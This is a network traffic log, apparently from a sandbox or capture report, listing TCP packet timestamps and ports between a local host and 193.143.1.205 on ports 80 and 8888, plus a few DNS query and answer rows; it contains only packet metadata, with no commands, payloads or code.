Jan 11, 2025 08:14:36.744885921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744891882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744905949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744909048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744915962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744925976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744935989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744936943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744946003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744956017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744963884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744966984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744976997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744982004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745016098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745790958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745801926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745811939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745822906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745831966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745836020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745845079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745850086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745853901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745863914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745873928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745883942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745894909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745896101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745904922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745914936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745917082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745927095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.745929003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.745966911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.748697042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774471998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774497986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774517059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774584055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774595976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774636030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774646044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774660110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774660110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774677038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774693966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774724007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774857044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774869919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774879932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774889946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774900913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.774904013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774921894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.774940968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.775145054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775156021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775166035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775176048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775186062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775192976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.775218010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.775504112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775515079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775525093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775537014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775551081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775561094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775564909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.775572062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.775597095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.775619984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.776464939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776484013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776525021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.776690960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776763916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776773930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776808023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.776952982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776963949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.776976109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.777009010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.777034044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.777103901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791197062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791266918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791277885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791362047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791374922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791380882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.791380882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.791424990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.791505098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791516066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.791569948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.794014931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794083118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794092894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794127941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.794177055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794189930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794224024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.794284105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794294119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.794334888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.830642939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830656052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830688000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830698967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830804110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830830097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.830830097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.830866098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.830908060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830919027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830929995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830944061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.830980062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.830996990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.831190109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831203938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831248999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.831340075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831350088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831361055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831402063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.831420898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831432104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831442118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831451893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831465006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831475019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.831485033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.831506968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832143068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832154036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832163095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832175016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832185030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832194090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832199097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832209110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832217932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832227945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832231045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832247019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832258940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832269907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832272053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832282066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.832288027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832308054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.832334995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.833121061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833132029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833142042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833152056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833162069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833175898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833178997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.833185911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833195925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833204985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.833206892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833218098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833231926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.833233118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833244085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833255053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.833256006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.833285093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834080935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834093094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834103107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834111929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834121943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834132910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834136009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834142923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834152937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834161997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834163904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834172010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834184885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834191084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834196091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834207058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834218025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834225893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834253073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.834958076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834969044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834978104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834989071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.834997892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.835005045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.835009098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.835021973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.835032940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.835043907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.835072041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.843200922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861320019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861382961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861392975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861408949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861428022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861443996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861529112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861546040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861557961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861567974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861581087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861608028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861838102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861848116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861859083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861871004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861881971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.861881971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861903906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.861933947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.862068892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862082958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862093925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862102985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862129927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.862160921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.862344027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862354994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862365007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862376928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862385988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862386942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.862397909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862409115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862423897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862432003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.862432003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.862457991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.863692045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863703012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863713980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863739014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.863766909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.863840103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863851070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863861084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863872051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.863897085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.863922119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.878206968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878317118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878325939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878335953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878346920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878356934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878480911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.878480911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.878581047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878591061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.878633976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.880877018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.880908012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.880950928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.881042957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881052971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881093025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881102085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.881103039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881139040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.881257057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881268024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.881297112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.881407022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.913590908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913671017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913682938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913722992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913733959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913743973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913753986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.913825989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.913825989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.913825989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.913999081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.914052010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.915594101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915611982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915621996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915678978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.915750980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915760994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915798903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.915879965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915904045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.915920019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916079998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916089058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916101933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916111946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916121960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916121960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916134119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916146040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916177034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916445971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916456938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916493893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916616917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916625977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916635036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916644096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.916662931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.916692972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.921698093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.930422068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:37.099952936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:37.883459091 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:37.888434887 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:37.888550043 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:37.889589071 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:37.894449949 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:38.671299934 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:38.710988045 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:39.239737988 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:14:50.863905907 CET	53872	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:14:50.863905907 CET	192.168.2.4	1.1.1.1	0x7699	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:14:50.403835058 CET	1.1.1.1	192.168.2.4	0x7ad1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:14:50.403835058 CET	1.1.1.1	192.168.2.4	0x7ad1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
